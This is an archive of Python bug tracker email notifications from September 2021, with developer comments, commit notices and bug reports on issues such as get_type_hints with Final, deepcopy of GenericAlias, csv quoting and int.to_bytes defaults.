Date: Fri, 10 Sep 2021 15:39:04 +0000
Subject: [issue45165] alighment format for nullable values
In-Reply-To: <1631286656.15.0.899331692277.issue45165@roundup.psfhosted.org>
Message-ID: <1631288344.32.0.828535789445.issue45165@roundup.psfhosted.org>


Eric V. Smith  added the comment:

Why would you only want alignment, and not all string formatting options?

And if that's the case, just convert it to a string: 

>>> f'{None!s:>8} {1:>8}'
'    None        1'

----------
nosy: +eric.smith

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 11:39:24 2021
From: report at bugs.python.org (Eric V. Smith)
Date: Fri, 10 Sep 2021 15:39:24 +0000
Subject: [issue45165] alighment format for nullable values
In-Reply-To: <1631286656.15.0.899331692277.issue45165@roundup.psfhosted.org>
Message-ID: <1631288364.14.0.842802004326.issue45165@roundup.psfhosted.org>


Change by Eric V. Smith :


----------
type: behavior -> enhancement
versions:  -Python 3.10

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 11:51:53 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Fri, 10 Sep 2021 15:51:53 +0000
Subject: [issue44219] Opening a file holds the GIL when it calls "isatty()"
In-Reply-To: <1621790293.8.0.271052485401.issue44219@roundup.psfhosted.org>
Message-ID: <1631289113.24.0.419353501705.issue44219@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset 296b7100705ef52aece3378b0ae42c33a58526e1 by ?ukasz Langa in branch 'main':
bpo-44219: Mention GH-28250 is a deadlock bugfix (GH-28261)
https://github.com/python/cpython/commit/296b7100705ef52aece3378b0ae42c33a58526e1


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 11:51:55 2021
From: report at bugs.python.org (miss-islington)
Date: Fri, 10 Sep 2021 15:51:55 +0000
Subject: [issue44219] Opening a file holds the GIL when it calls "isatty()"
In-Reply-To: <1621790293.8.0.271052485401.issue44219@roundup.psfhosted.org>
Message-ID: <1631289115.21.0.788957099182.issue44219@roundup.psfhosted.org>


Change by miss-islington :


----------
pull_requests: +26693
pull_request: https://github.com/python/cpython/pull/28275

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 11:51:50 2021
From: report at bugs.python.org (miss-islington)
Date: Fri, 10 Sep 2021 15:51:50 +0000
Subject: [issue44219] Opening a file holds the GIL when it calls "isatty()"
In-Reply-To: <1621790293.8.0.271052485401.issue44219@roundup.psfhosted.org>
Message-ID: <1631289110.98.0.44485013647.issue44219@roundup.psfhosted.org>


Change by miss-islington :


----------
pull_requests: +26692
pull_request: https://github.com/python/cpython/pull/28274

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 11:53:50 2021
From: report at bugs.python.org (miss-islington)
Date: Fri, 10 Sep 2021 15:53:50 +0000
Subject: [issue44964] Semantics of PyCode_Addr2Line() changed
In-Reply-To: <1629482860.18.0.0801179280266.issue44964@roundup.psfhosted.org>
Message-ID: <1631289230.03.0.107206987076.issue44964@roundup.psfhosted.org>


Change by miss-islington :


----------
pull_requests: +26694
pull_request: https://github.com/python/cpython/pull/28276

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 11:53:45 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Fri, 10 Sep 2021 15:53:45 +0000
Subject: [issue44964] Semantics of PyCode_Addr2Line() changed
In-Reply-To: <1629482860.18.0.0801179280266.issue44964@roundup.psfhosted.org>
Message-ID: <1631289225.94.0.635785402576.issue44964@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset ab327f2929589407595a3de95727c8ab34ddd4af by Pablo Galindo Salgado in branch 'main':
bpo-44964: Correct the note about the f_lasti field (GH-28208)
https://github.com/python/cpython/commit/ab327f2929589407595a3de95727c8ab34ddd4af


----------
nosy: +lukasz.langa

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 11:55:08 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Fri, 10 Sep 2021 15:55:08 +0000
Subject: [issue25894] unittest subTest failure causes result to be omitted
 from listing
In-Reply-To: <1450331375.94.0.689081172202.issue25894@psf.upfronthosting.co.za>
Message-ID: <1631289308.64.0.48828637086.issue25894@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset f0f29f328d8b4568e8c0d4c55c7d120d96f80911 by Serhiy Storchaka in branch 'main':
bpo-25894: Always report skipped and failed subtests separately (GH-28082)
https://github.com/python/cpython/commit/f0f29f328d8b4568e8c0d4c55c7d120d96f80911


----------
nosy: +lukasz.langa

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 12:00:39 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Fri, 10 Sep 2021 16:00:39 +0000
Subject: [issue25894] unittest subTest failure causes result to be omitted
 from listing
In-Reply-To: <1450331375.94.0.689081172202.issue25894@psf.upfronthosting.co.za>
Message-ID: <1631289639.89.0.217811593923.issue25894@roundup.psfhosted.org>


?ukasz Langa  added the comment:

> Any suggestions for the format of output? Currently PR 28082 formats lines for subtest skipping, failure or error with a 2-space identation. Lines for skipping, failure or error in tearDown() or functions registered with addCallback() do not differ from a line skipping, failure or error in the test method itself.

I'm fine with that. Ultimately I don't think differentiating subtest status from method status is that important.

> I am not sure about backporting this change.

Since we're too late for 3.10.0 and it isn't a trivially small change that changes test output, I think we shouldn't be backporting it. There are tools that parse this output in editors. I'm afraid that it's too risky since we haven't given the community enough time to test for output difference.

I'm marking this as resolved. Thanks for your patch, Serhiy! If you feel strongly about backporting, we'd have to reopen and mark this as release blocker.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 12:11:48 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Fri, 10 Sep 2021 16:11:48 +0000
Subject: [issue44219] Opening a file holds the GIL when it calls "isatty()"
In-Reply-To: <1621790293.8.0.271052485401.issue44219@roundup.psfhosted.org>
Message-ID: <1631290308.51.0.488278557246.issue44219@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset 60ddf499e14cc7daba3804e5a3460e4224dacc5c by Miss Islington (bot) in branch '3.10':
bpo-44219: Mention GH-28250 is a deadlock bugfix (GH-28261) (GH-28274)
https://github.com/python/cpython/commit/60ddf499e14cc7daba3804e5a3460e4224dacc5c


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 12:17:00 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Fri, 10 Sep 2021 16:17:00 +0000
Subject: [issue44964] Semantics of PyCode_Addr2Line() changed
In-Reply-To: <1629482860.18.0.0801179280266.issue44964@roundup.psfhosted.org>
Message-ID: <1631290620.11.0.45969410274.issue44964@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset b045174a6dbf1060f092265853f0c78f0704a21a by Miss Islington (bot) in branch '3.10':
bpo-44964: Correct the note about the f_lasti field (GH-28208) (GH-28276)
https://github.com/python/cpython/commit/b045174a6dbf1060f092265853f0c78f0704a21a


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 12:19:49 2021
From: report at bugs.python.org (Timothee Mazzucotelli)
Date: Fri, 10 Sep 2021 16:19:49 +0000
Subject: [issue45166] get_type_hints + Final + future annotations = TypeError
Message-ID: <1631290789.33.0.47825654034.issue45166@roundup.psfhosted.org>


New submission from Timothee Mazzucotelli :

This is my first issue on bugs.python.org, let me know if I can improve it in any way.

---

Originally reported and investigated here: https://github.com/mkdocstrings/mkdocstrings/issues/314

```
# final.py
from __future__ import annotations

from typing import Final, get_type_hints

name: Final[str] = "final"

class Class:
    value: Final = 3000

get_type_hints(Class)
```

Run `python final.py`, and you'll get this traceback:

```
Traceback (most recent call last):
  File "final.py", line 11, in 
    get_type_hints(Class)
  File "/.../lib/python3.8/typing.py", line 1232, in get_type_hints
    value = _eval_type(value, base_globals, localns)
  File "/.../lib/python3.8/typing.py", line 270, in _eval_type
    return t._evaluate(globalns, localns)
  File "/.../lib/python3.8/typing.py", line 517, in _evaluate
    self.__forward_value__ = _type_check(
  File "/.../lib/python3.8/typing.py", line 145, in _type_check
    raise TypeError(f"Plain {arg} is not valid as type argument")
TypeError: Plain typing.Final is not valid as type argument
```

Now comment the `get_type_hints` call, launch a Python interpreter, and enter these commands:

>>> import final
>>> from typing import get_type_hints
>>> get_type_hints(final)

And you'll get this traceback:

```
Traceback (most recent call last):
  File "", line 1, in 
  File "/.../lib/python3.9/typing.py", line 1449, in get_type_hints
    value = _eval_type(value, globalns, localns)
  File "/.../lib/python3.9/typing.py", line 283, in _eval_type
    return t._evaluate(globalns, localns, recursive_guard)
  File "/.../lib/python3.9/typing.py", line 538, in _evaluate
    type_ =_type_check(
  File "/.../lib/python3.9/typing.py", line 149, in _type_check
    raise TypeError(f"{arg} is not valid as type argument")
TypeError: typing.Final[str] is not valid as type argument
```

I was able to replicate in 3.8, 3.9 and 3.10. The annotations future is not available in 3.7 or lower. Didn't try on 3.11.

----------
messages: 401590
nosy: pawamoy
priority: normal
severity: normal
status: open
title: get_type_hints + Final + future annotations = TypeError
type: behavior
versions: Python 3.10, Python 3.8, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 12:22:31 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Fri, 10 Sep 2021 16:22:31 +0000
Subject: [issue44219] Opening a file holds the GIL when it calls "isatty()"
In-Reply-To: <1621790293.8.0.271052485401.issue44219@roundup.psfhosted.org>
Message-ID: <1631290951.57.0.94106952746.issue44219@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset 314de5326f8b687a3fa7b19ea8faaa449f59b8fe by Miss Islington (bot) in branch '3.9':
bpo-44219: Mention GH-28250 is a deadlock bugfix (GH-28261) (GH-28275)
https://github.com/python/cpython/commit/314de5326f8b687a3fa7b19ea8faaa449f59b8fe


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 12:26:34 2021
From: report at bugs.python.org (Timothee Mazzucotelli)
Date: Fri, 10 Sep 2021 16:26:34 +0000
Subject: [issue45166] get_type_hints + Final + future annotations = TypeError
In-Reply-To: <1631290789.33.0.47825654034.issue45166@roundup.psfhosted.org>
Message-ID: <1631291194.12.0.555510791866.issue45166@roundup.psfhosted.org>


Timothee Mazzucotelli  added the comment:

Just tried on 3.11-dev, it's affected as well.

This issue seems related to https://bugs.python.org/issue41249.

----------
versions: +Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 12:27:10 2021
From: report at bugs.python.org (miss-islington)
Date: Fri, 10 Sep 2021 16:27:10 +0000
Subject: [issue9811] strftime strips '%' from unknown format codes on OS X
In-Reply-To: <1284026345.38.0.190320909092.issue9811@psf.upfronthosting.co.za>
Message-ID: <1631291230.65.0.603050836501.issue9811@roundup.psfhosted.org>


Change by miss-islington :


----------
pull_requests: +26696
pull_request: https://github.com/python/cpython/pull/28278

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 12:27:04 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Fri, 10 Sep 2021 16:27:04 +0000
Subject: [issue9811] strftime strips '%' from unknown format codes on OS X
In-Reply-To: <1284026345.38.0.190320909092.issue9811@psf.upfronthosting.co.za>
Message-ID: <1631291224.38.0.584732969826.issue9811@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset e86bcfa58080f152f242c756f625f4015671f168 by Irit Katriel in branch 'main':
bpo-9811: [doc] strftime handling of unsupported format specifiers is platform dependent (GH-28264)
https://github.com/python/cpython/commit/e86bcfa58080f152f242c756f625f4015671f168


----------
nosy: +lukasz.langa

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 12:27:06 2021
From: report at bugs.python.org (miss-islington)
Date: Fri, 10 Sep 2021 16:27:06 +0000
Subject: [issue9811] strftime strips '%' from unknown format codes on OS X
In-Reply-To: <1284026345.38.0.190320909092.issue9811@psf.upfronthosting.co.za>
Message-ID: <1631291226.8.0.646684819966.issue9811@roundup.psfhosted.org>


Change by miss-islington :


----------
nosy: +miss-islington
nosy_count: 10.0 -> 11.0
pull_requests: +26695
pull_request: https://github.com/python/cpython/pull/28277

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 12:28:20 2021
From: report at bugs.python.org (Timothee Mazzucotelli)
Date: Fri, 10 Sep 2021 16:28:20 +0000
Subject: [issue45166] get_type_hints + Final + future annotations = TypeError
In-Reply-To: <1631290789.33.0.47825654034.issue45166@roundup.psfhosted.org>
Message-ID: <1631291300.67.0.4646420806.issue45166@roundup.psfhosted.org>


Timothee Mazzucotelli  added the comment:

Oh, I see now that there is a python/typing/ repository on GitHub. Let me know if I should open there instead.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 12:29:24 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Fri, 10 Sep 2021 16:29:24 +0000
Subject: [issue45144] Use subtests in test_peepholer
In-Reply-To: <1631146744.41.0.0401812311167.issue45144@roundup.psfhosted.org>
Message-ID: <1631291364.88.0.240869648656.issue45144@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset f8d624d6a571d6e773f53ad80aa93face7e8395b by Irit Katriel in branch 'main':
bpo-45144: use subTests in test_peepholer (GH-28247)
https://github.com/python/cpython/commit/f8d624d6a571d6e773f53ad80aa93face7e8395b


----------
nosy: +lukasz.langa

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 12:30:52 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Fri, 10 Sep 2021 16:30:52 +0000
Subject: [issue45144] Use subtests in test_peepholer
In-Reply-To: <1631146744.41.0.0401812311167.issue45144@roundup.psfhosted.org>
Message-ID: <1631291452.7.0.121290125476.issue45144@roundup.psfhosted.org>


?ukasz Langa  added the comment:

We can refactor the tests to your new functionality once it's ready, Serhiy. In the mean time, this is fixed!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 12:31:22 2021
From: report at bugs.python.org (Barry A. Warsaw)
Date: Fri, 10 Sep 2021 16:31:22 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631260100.52.0.00481104567541.issue45155@roundup.psfhosted.org>
Message-ID: 


Barry A. Warsaw  added the comment:

Just to point out, struct module also uses ?native? (i.e. system) byte order by default.  Any choice other than that for to_bytes() seems both arbitrary and inconsistent.

> On Sep 10, 2021, at 00:48, Petr Viktorin  wrote:
> 
> Exactly, a platform-dependent default is a bad idea. A default allows using the function without the code author & reviewer even being *aware* that there is a choice, and that is dangerous.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 12:33:48 2021
From: report at bugs.python.org (Barry A. Warsaw)
Date: Fri, 10 Sep 2021 16:33:48 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631272014.58.0.175676511772.issue45155@roundup.psfhosted.org>
Message-ID: <1D242501-09D0-48CD-89C8-E3C8D4F91DD2@python.org>


Barry A. Warsaw  added the comment:

On Sep 10, 2021, at 04:06, STINNER Victor  wrote:
> 
> If the intent is to create a bytes string of length 1, I'm not sure that "re-using" this existing API for that is a good idea.

Why not?  It seems an obvious and simple convenience.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 12:37:09 2021
From: report at bugs.python.org (Barry A. Warsaw)
Date: Fri, 10 Sep 2021 16:37:09 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631260100.52.0.00481104567541.issue45155@roundup.psfhosted.org>
Message-ID: 


Barry A. Warsaw  added the comment:

Petr Viktorin  added the comment:
> 
> Exactly, a platform-dependent default is a bad idea. A default allows using the function without the code author & reviewer even being *aware* that there is a choice, and that is dangerous.

I?m not convinced.  I?m more concerned with the obscurity of the API.  If I saw its use in some code I was reviewing, I?d look it up, and then I?d know exactly what it was doing.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 12:45:08 2021
From: report at bugs.python.org (Anthony Sottile)
Date: Fri, 10 Sep 2021 16:45:08 +0000
Subject: [issue45165] alighment format for nullable values
In-Reply-To: <1631286656.15.0.899331692277.issue45165@roundup.psfhosted.org>
Message-ID: <1631292308.95.0.698852928489.issue45165@roundup.psfhosted.org>


Anthony Sottile  added the comment:

alignment was the only one I found which was applicable and didn't work

`!s` "works" but it's kind of a hack (of course I want string formatting, I'm making a string!) -- then I would want to write `!s` everywhere which is cumbersome and ugly

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 13:09:52 2021
From: report at bugs.python.org (Jacob Hayes)
Date: Fri, 10 Sep 2021 17:09:52 +0000
Subject: [issue45167] deepcopy of GenericAlias with __deepcopy__ method is
 broken
Message-ID: <1631293792.65.0.39078575611.issue45167@roundup.psfhosted.org>


New submission from Jacob Hayes :

When deepcopying a parametrized types.GenericAlias (eg: a dict subclass) that has a __deepcopy__ method, the copy module doesn't detect the GenericAlias as a type and instead tries to call cls.__deepcopy__, passing `memo` inplace of self. This doesn't seem to happen with `typing.Generic` however.

Example:
```
from copy import deepcopy


class X(dict):
    def __deepcopy__(self, memo):
        return self


print(deepcopy(X()))
print(deepcopy(X))

print(type(X[str, int]))
print(deepcopy(X[str, int]()))
print(deepcopy(X[str, int]))
```
shows
```
{}


{}
Traceback (most recent call last):
  File "/tmp/demo.py", line 14, in 
    print(deepcopy(X[str, int]))
  File "/Users/jacobhayes/.pyenv/versions/3.9.6/lib/python3.9/copy.py", line 153, in deepcopy
    y = copier(memo)
TypeError: __deepcopy__() missing 1 required positional argument: 'memo'
```

I don't know if it's better to update `copy.deepcopy` here or perhaps narrow the `__getattr__` for `types.GenericAlias` (as `typing. _BaseGenericAlias` seems to).

----------
components: Library (Lib)
messages: 401601
nosy: JacobHayes
priority: normal
severity: normal
status: open
title: deepcopy of GenericAlias with __deepcopy__ method is broken
type: behavior
versions: Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 13:43:02 2021
From: report at bugs.python.org (Irit Katriel)
Date: Fri, 10 Sep 2021 17:43:02 +0000
Subject: [issue17913] stat.filemode returns "-" for sockets and unknown types
In-Reply-To: <1367831480.84.0.461149512803.issue17913@psf.upfronthosting.co.za>
Message-ID: <1631295782.47.0.888059756718.issue17913@roundup.psfhosted.org>


Irit Katriel  added the comment:

I think this is fixed now

>>> s = os.stat('/var/run/vpncontrol.sock')
>>> stat.filemode(s.st_mode)
'srw-------'


iritkatriel at Irits-MBP cpython % ls -l /var/run/vpncontrol.sock 
srw-------  1 root  daemon  0 19 Aug 11:15 /var/run/vpncontrol.sock

----------
nosy: +iritkatriel

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 13:48:54 2021
From: report at bugs.python.org (Irit Katriel)
Date: Fri, 10 Sep 2021 17:48:54 +0000
Subject: [issue18712] Pure Python operator.index doesn't match the C version.
In-Reply-To: <1376316578.03.0.462256957334.issue18712@psf.upfronthosting.co.za>
Message-ID: <1631296134.08.0.799856907761.issue18712@roundup.psfhosted.org>


Irit Katriel  added the comment:

Reproduced on 3.11.

----------
nosy: +iritkatriel
versions: +Python 3.11 -Python 3.4

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 13:51:48 2021
From: report at bugs.python.org (Irit Katriel)
Date: Fri, 10 Sep 2021 17:51:48 +0000
Subject: [issue18715] Tests fail when run with coverage
In-Reply-To: <1376334932.92.0.162234474623.issue18715@psf.upfronthosting.co.za>
Message-ID: <1631296308.3.0.569870302565.issue18715@roundup.psfhosted.org>


Irit Katriel  added the comment:

This is about 8 years old, so closing. Let's open new issues for current failures when we see them.

----------
nosy: +iritkatriel
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 14:01:26 2021
From: report at bugs.python.org (Irit Katriel)
Date: Fri, 10 Sep 2021 18:01:26 +0000
Subject: [issue20028] csv: Confusing error message when giving invalid
 quotechar in initializing dialect
In-Reply-To: <1387514294.66.0.0650917642902.issue20028@psf.upfronthosting.co.za>
Message-ID: <1631296886.38.0.0439449044452.issue20028@roundup.psfhosted.org>


Irit Katriel  added the comment:

The patch needs to be converted to a GitHub PR.

Reproduced on 3.11: 

>>> import _csv
>>> import csv
>>> _csv.Dialect(quotechar=b'+')
Traceback (most recent call last):
  File "", line 1, in 
TypeError: "quotechar" must be string, not bytes
>>> _csv.Dialect(quotechar=None)
<_csv.Dialect object at 0x105acfe40>
>>> _csv.Dialect(quotechar="cutecat")
Traceback (most recent call last):
  File "", line 1, in 
TypeError: "quotechar" must be a 1-character string
>>> _csv.Dialect(quotechar="", quoting=csv.QUOTE_NONE)
<_csv.Dialect object at 0x105948c80>

----------
keywords: +easy -patch
nosy: +iritkatriel
title: Confusing error message when giving invalid quotechar in initializing csv dialect -> csv: Confusing error message when giving invalid quotechar in initializing dialect
versions: +Python 3.10, Python 3.11, Python 3.9 -Python 2.7, Python 3.3, Python 3.4

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 14:14:27 2021
From: report at bugs.python.org (Irit Katriel)
Date: Fri, 10 Sep 2021 18:14:27 +0000
Subject: [issue20524] format error messages should provide context information
In-Reply-To: <1391642595.93.0.722493013717.issue20524@psf.upfronthosting.co.za>
Message-ID: <1631297667.74.0.855538428907.issue20524@roundup.psfhosted.org>


Irit Katriel  added the comment:

Reproduced on 3.11:

>>> dd = {'length': 12, 'id': 4, 'title': "t", 'run_time': datetime.time()}
>>> '{run_time:%H:%M:%S}, ,COM,DA{id},"{title:.43}",{id},{length:%M:%S}'.format(**dd)
Traceback (most recent call last):
  File "", line 1, in 
ValueError: Invalid format specifier

----------
nosy: +iritkatriel
versions: +Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 14:19:07 2021
From: report at bugs.python.org (Irit Katriel)
Date: Fri, 10 Sep 2021 18:19:07 +0000
Subject: [issue19463] assertGdbRepr depends on hash randomization / endianess
In-Reply-To: <1383245602.59.0.0634998131847.issue19463@psf.upfronthosting.co.za>
Message-ID: <1631297947.02.0.447321247464.issue19463@roundup.psfhosted.org>


Change by Irit Katriel :


----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 14:25:50 2021
From: report at bugs.python.org (Irit Katriel)
Date: Fri, 10 Sep 2021 18:25:50 +0000
Subject: [issue22886] TestProgram leaves defaultTestLoader.errors dirty
In-Reply-To: <1416184473.93.0.181686669268.issue22886@psf.upfronthosting.co.za>
Message-ID: <1631298350.87.0.957578840277.issue22886@roundup.psfhosted.org>


Change by Irit Katriel :


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 14:28:11 2021
From: report at bugs.python.org (=?utf-8?q?Miha_=C5=A0etina?=)
Date: Fri, 10 Sep 2021 18:28:11 +0000
Subject: [issue23041] csv needs more quoting rules
In-Reply-To: <1418402205.61.0.685044268577.issue23041@psf.upfronthosting.co.za>
Message-ID: <1631298491.68.0.969646295753.issue23041@roundup.psfhosted.org>


Miha ?etina  added the comment:

The MS Synapse has a CSV support in its COPY command that would benefit from the proposed csv.QUOTE_NOTNULL as it can be used when preparing data for import. As they reference the same RFC the CSV modul should support, both the proposed modifications would extend the RFC functionality with support for NULL/None values in the data.
The csv.QUOTE_STRINGS would enable a smaller file size.
Our case is that we are moving data into Synapse and have to resort to risk prone string replace functionality to provide the MS Synapse COPY a proper support for empty string and NULL

----------
nosy: +msetina
versions: +Python 3.10, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 14:29:51 2021
From: report at bugs.python.org (Irit Katriel)
Date: Fri, 10 Sep 2021 18:29:51 +0000
Subject: [issue22843] doc error: 6.2.4. Match Objects
In-Reply-To: <1415669163.97.0.11938367664.issue22843@psf.upfronthosting.co.za>
Message-ID: <1631298591.97.0.688253556235.issue22843@roundup.psfhosted.org>


Change by Irit Katriel :


----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 14:35:17 2021
From: report at bugs.python.org (Skip Montanaro)
Date: Fri, 10 Sep 2021 18:35:17 +0000
Subject: [issue23041] csv needs more quoting rules
In-Reply-To: <1418402205.61.0.685044268577.issue23041@psf.upfronthosting.co.za>
Message-ID: <1631298917.96.0.156194582275.issue23041@roundup.psfhosted.org>


Skip Montanaro  added the comment:

Update version - too late for anything older than 3.11.

----------
versions:  -Python 3.10, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 14:36:43 2021
From: report at bugs.python.org (Nikita Sobolev)
Date: Fri, 10 Sep 2021 18:36:43 +0000
Subject: [issue45166] get_type_hints + Final + future annotations = TypeError
In-Reply-To: <1631290789.33.0.47825654034.issue45166@roundup.psfhosted.org>
Message-ID: <1631299003.28.0.829755212218.issue45166@roundup.psfhosted.org>


Change by Nikita Sobolev :


----------
keywords: +patch
nosy: +sobolevn
nosy_count: 1.0 -> 2.0
pull_requests: +26697
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28279

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 15:48:32 2021
From: report at bugs.python.org (Guido van Rossum)
Date: Fri, 10 Sep 2021 19:48:32 +0000
Subject: [issue45152] Prepare for splitting LOAD_CONST into several opcodes
In-Reply-To: <1631196564.41.0.680638780635.issue45152@roundup.psfhosted.org>
Message-ID: <1631303312.32.0.904414842148.issue45152@roundup.psfhosted.org>


Guido van Rossum  added the comment:

We're not (yet) trying to optimize the code being executed (we should perhaps add an issue about class creation to https://github.com/faster-cpython/ideas).

I agree that marshal is very fast already; I doubt the extra cost of wordcode would pay off since it would increase the size. This could be tested but it would be a big experiment.

I'm not sure that compression will really help, since a typical decompressor delivers its output in some memory buffer. But this needs to be tested, and it might be a simpler experiment.

I'm pretty sure zipimport will improve things -- the main problem with it (as always) is that not all tooling understands it, since resource loading is different.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 15:53:16 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Fri, 10 Sep 2021 19:53:16 +0000
Subject: [issue9811] strftime strips '%' from unknown format codes on OS X
In-Reply-To: <1284026345.38.0.190320909092.issue9811@psf.upfronthosting.co.za>
Message-ID: <1631303596.19.0.761131165797.issue9811@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset 897e5aae748180acf8d546d14aeacaf02600fff9 by Miss Islington (bot) in branch '3.10':
bpo-9811: [doc] strftime handling of unsupported format specifiers is platform dependent (GH-28264) (GH-28277)
https://github.com/python/cpython/commit/897e5aae748180acf8d546d14aeacaf02600fff9


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 15:53:37 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Fri, 10 Sep 2021 19:53:37 +0000
Subject: [issue9811] strftime strips '%' from unknown format codes on OS X
In-Reply-To: <1284026345.38.0.190320909092.issue9811@psf.upfronthosting.co.za>
Message-ID: <1631303617.77.0.952749921344.issue9811@roundup.psfhosted.org>


?ukasz Langa  added the comment:


New changeset baeaaecb8a97033bc2d07d51442cc8b1f89d410d by Miss Islington (bot) in branch '3.9':
bpo-9811: [doc] strftime handling of unsupported format specifiers is platform dependent (GH-28264) (GH-28278)
https://github.com/python/cpython/commit/baeaaecb8a97033bc2d07d51442cc8b1f89d410d


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 15:53:48 2021
From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=)
Date: Fri, 10 Sep 2021 19:53:48 +0000
Subject: [issue45101] Small inconsistency in usage message between the python
 and shell script versions of python-config
In-Reply-To: <1630780332.11.0.126671398839.issue45101@roundup.psfhosted.org>
Message-ID: <1631303628.05.0.944584046929.issue45101@roundup.psfhosted.org>


?ric Araujo  added the comment:

I think python-config is modelled after pkg-config: what does the latter do?

Also, I?m not sure it would be appropriate to change behaviour in existing releases.

----------
nosy: +eric.araujo
versions:  -Python 3.10, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 15:54:31 2021
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Fri, 10 Sep 2021 19:54:31 +0000
Subject: [issue9811] strftime strips '%' from unknown format codes on OS X
In-Reply-To: <1284026345.38.0.190320909092.issue9811@psf.upfronthosting.co.za>
Message-ID: <1631303671.66.0.809201412966.issue9811@roundup.psfhosted.org>


Change by ?ukasz Langa :


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Sep 10 16:27:49 2021
